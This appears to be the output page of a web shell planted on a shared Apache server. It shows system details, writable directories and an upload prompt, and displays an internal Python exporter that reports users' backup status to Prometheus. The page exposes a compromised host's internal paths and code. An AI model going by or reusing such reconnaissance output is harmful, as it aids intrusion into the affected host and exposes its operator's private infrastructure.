https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /opt/prometheus-monitoring-scripts/lib/python3.10/site-packages/custom_exporters/backups/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/prometheus-monitoring-scripts/lib/python3.10/site-packages/custom_exporters/backups/users.py
from ..base import BaseExporter
from storable import retrieve
import socket
import json

class CustomExporter(BaseExporter):
    def metric_config(self):
        return {
            "backup_last_successful": {"type": "Gauge", "labels": ["user", "machine", "vmhost"]},
            "backup_last_rsync_exit_code": {"type": "Gauge", "labels": ["user", "machine", "vmhost"]},
            "backup_last_attempted_backup": {"type": "Gauge", "labels": ["user", "machine", "vmhost"]},
            "backup_last_user_state": {"type": "Gauge", "labels": ["user", "machine", "vmhost", "state"]},
            "backup_state_retrive_failed": {"type": "Gauge", "labels": ["machine", "vmhost"]},
            "backup_status": {"type": "Gauge", "labels": ["machine", "vmhost", "status"]},
        }

    def _user_is_active(self, user):
        if user in self.users_config['users']:
            if 'status' in self.users_config['users'][user]:
                if self.users_config['users'][user]['status'] == 'active' and 'nobackups' not in self.users_config['users'][user]:
                    return True

    def generate(self):
        self.generate_machine(self.my_hostname())

    def my_hostname(self):
        return socket.gethostname()

    def retrieve_state(self, state_file):
        data = retrieve(state_file)
        return data

    def generate_machine(self, machine, vmhost=""):
        try:
            if machine == self.my_hostname():
                self.backup_data = self.retrieve_state("/usr/local/dh/var/localdata/backup.state")
                with open("/usr/local/dh/etc/localdata/users.json") as f:
                    self.users_config = json.load(f)
            else:
                self.backup_data = self.retrieve_state("/usr/local/dh/var/localdata/%s.backup.state" % machine)
                with open("/usr/local/dh/etc/localdata/%s.users.json" % machine) as f:
                    self.users_config = json.load(f)
        except Exception:
            self.metrics.get('backup_state_retrive_failed').labels(machine, vmhost).set(1)
            return

        if 'status' in self.backup_data:
            self.metrics.get('backup_status').labels(machine, vmhost, self.backup_data['status']).set(1)
        else:
            self.metrics.get('backup_status').labels(machine, vmhost, 'unknown').set(1)

        # maps state dict keys with metric name
        metric_map = {
            'last_attempted_backup': self.metrics.get('backup_last_attempted_backup'),
            'last_rsync_exit_code': self.metrics.get('backup_last_rsync_exit_code'),
            'last_successful_backup': self.metrics.get('backup_last_successful')
        }
        backup_last_user_state = self.metrics.get('backup_last_user_state')
        for user, user_data in self.backup_data['users'].items():
            if not self._user_is_active(user):
                continue
            if 'state' in user_data:
                state = "failed"
                # todo do we ned to get more complicated then this?
                if user_data['state'] == "rsync successful":
                    state = "success"
                backup_last_user_state.labels(user, machine, vmhost, state).set(1)
            else:
                backup_last_user_state.labels(user, machine, vmhost, 'no_state').set(0)

            for metric, metric_obj in metric_map.items():
                if metric in user_data and user_data[metric] !="":
                    try:
                        float(user_data[metric])
                    except Exception:
                        metric_obj.labels(user, machine, vmhost).set(-1)
                    metric_obj.labels(user, machine, vmhost).set(user_data[metric])
                else:
                    metric_obj.labels(user, machine, vmhost).set(-1)

https://t.me/RX1948 - 2025